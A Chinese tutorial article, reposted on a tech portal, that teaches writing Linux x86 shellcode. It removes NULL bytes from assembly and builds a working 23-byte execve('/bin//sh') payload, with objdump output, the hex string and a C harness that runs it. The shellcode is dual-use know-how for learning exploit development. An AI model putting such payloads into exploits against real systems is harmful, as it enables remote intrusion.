频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

浅入浅出Liunx Shellcode

来源:中国IT实验室 作者:佚名 出处:巧巧读书 2008-05-15 进入讨论组

  三、第一个shellcode

  最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的 shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符:

      pr0cess@pr0cess:~$ objdump -d ./syscall
  ./syscall: file format elf32-i386
  Disassembly of section .text:
  08048074 <_start>:
  8048074: b8 04 00 00 00 mov $0×4,%eax
  8048079: bb 01 00 00 00 mov $0×1,%ebx
  804807e: b9 98 90 04 08 mov $0×8049098,%ecx
  8048083: ba 12 00 00 00 mov $0×12,%edx
  8048088: cd 80 int $0×80
  804808a: b8 01 00 00 00 mov $0×1,%eax
  804808f: bb 00 00 00 00 mov $0×0,%ebx
  8048094: cd 80 int $0×80
  pr0cess@pr0cess:~$

  噢!!!这个SB的程序在

  8048074: b8 04 00 00 00 mov $0×4,%eax

  这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码:

      movl $4,%eax
  movl $1,%ebx

  这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。

  EAX寄存器的构成如下:

  在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。

  我们来修改一下代码看看,把

      movl $4,%eax
  movl $1,%ebx

  改为

      mov $4,%al
  mov $1,%bl

  再重新编译连接syscall程序,并且查看一下objdump的结果:

      pr0cess@pr0cess:~$ ./syscall
  hello,syscall!!!!
  pr0cess@pr0cess:~$ objdump -d ./syscall
  ./syscall: file format elf32-i386
  Disassembly of section .text:
  08048074 <_start>:
  8048074: b0 04 mov $0×4,%al
  8048076: b3 01 mov $0×1,%bl
  8048078: b9 90 90 04 08 mov $0×8049090,%ecx
  804807d: ba 12 00 00 00 mov $0×12,%edx
  8048082: cd 80 int $0×80
  8048084: b8 01 00 00 00 mov $0×1,%eax
  8048089: bb 00 00 00 00 mov $0×0,%ebx
  804808e: cd 80 int $0×80
  pr0cess@pr0cess:~$

  看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。

  下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:

      NAME
  execve - execute program
  SYNOPSIS
  #include
  int execve(const char *filename, char *const argv[],
  char *const envp[]);
  可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:
  #include
  int main()
  {
  char *sc[2];
  sc[0]=”/bin/sh”;
  sc[1]= NULL;
  execve(sc[0],sc,NULL);
  }

  通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:

      pr0cess@pr0cess:~$ gcc -o newshell newshell.c
  pr0cess@pr0cess:~$ ./newshell
  $ exit
  pr0cess@pr0cess:~$

  新shell已经成功的诞生了!!

  为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:

      .section .text
  .globl _start
  _start:
  xorl %eax,%eax
  pushl %eax
  pushl $0×68732f6e
  pushl $0×69622f2f
  movl %esp,%ebx
  pushl %eax
  pushl %ebx
  movl %esp,%ecx
  movb $0xb,%al
  int $0×80

  来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空

  xorl %eax,%eax

  接着将4字节的NULL压栈

  pushl %eax

  将/bin//sh压栈,保持对齐,第一个参数

      pushl $0×68732f6e
  pushl $0×69622f2f

  将/bin//sh存放到EBX寄存器,第2个参数

  movl %esp,%ebx

  压4字节的NULL,第3个参数,环境变量为 NULL

  pushl %eax

  将EBX压栈

  pushl %ebx

  把EBX地址存入ECX寄存器

  movl %esp,%ecx

  将execve系统调用号11(0xb)压入AL寄存器,消00

  movb $0xb,%al

  调用int指令进入中断

  int $0×80

  OK,现在来测试一下这个程序是否能给我们带来一个新的shell

      pr0cess@pr0cess:~$ as -o exec.o exec.s
  pr0cess@pr0cess:~$ ld -o exec exec.o
  pr0cess@pr0cess:~$ ./exec
  $ exit
  pr0cess@pr0cess:~$

  HOHO~~成功执行了!!接着来提取16进制机器码

      pr0cess@pr0cess:~$ objdump -d ./exec
  ./exec: file format elf32-i386
  Disassembly of section .text:
  08048054 <_start>:
  8048054: 31 c0 xor %eax,%eax
  8048056: 50 push %eax
  8048057: 68 6e 2f 73 68 push $0×68732f6e
  804805c: 68 2f 2f 62 69 push $0×69622f2f
  8048061: 89 e3 mov %esp,%ebx
  8048063: 50 push %eax
  8048064: 53 push %ebx
  8048065: 89 e1 mov %esp,%ecx
  8048067: b0 0b mov $0xb,%al
  8048069: cd 80 int $0×80
  pr0cess@pr0cess:~$

放到一个C程序中来完成整个shellcode的编写测试吧

      /*
  *linux/x86 execve(”/bin//sh/”,["/bin//sh"],NULL) shellcode 23bytes
  *xuanmumu@gmail.com
  */
  pr0cess@pr0cess:~$ objdump -d exec
  exec: file format elf32-i386
  Disassembly of section .text:
  08048054 <_start>:
  8048054: 31 c0 xor %eax,%eax
  8048056: 50 push %eax
  8048057: 68 6e 2f 73 68 push $0×68732f6e
  804805c: 68 2f 2f 62 69 push $0×69622f2f
  8048061: 89 e3 mov %esp,%ebx
  8048063: 50 push %eax
  8048064: 53 push %ebx
  8048065: 89 e1 mov %esp,%ecx
  8048067: b0 0b mov $0xb,%al
  8048069: cd 80 int $0×80
  pr0cess@pr0cess:~$
  char sc[] =
  “\x31\xc0″
  “\x50″
  “\x68\x6e\x2f\x73\x68″
  “\x68\x2f\x2f\x62\x69″
  “\x89\xe3″
  “\x50″
  “\x53″
  “\x89\xe1″
  “\xb0\x0b”
  “\xcd\x80″
  ;
  int main()
  {
  void (*fp)(void) = (void (*)(void))sc;
  printf(”Length: %d\n”,strlen(sc));
  fp();
  }
  pr0cess@pr0cess:~$ gcc -o execve execve.c
  pr0cess@pr0cess:~$ ./execve
  Length: 23
  $ exit
  pr0cess@pr0cess:~$

  成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了。稍微休息一下,下一节带来一个更cool的bindshell功能的shellcode~~

进入讨论组讨论。
收藏此文】【 】【打印】【关闭
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
讨论组问题推荐
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章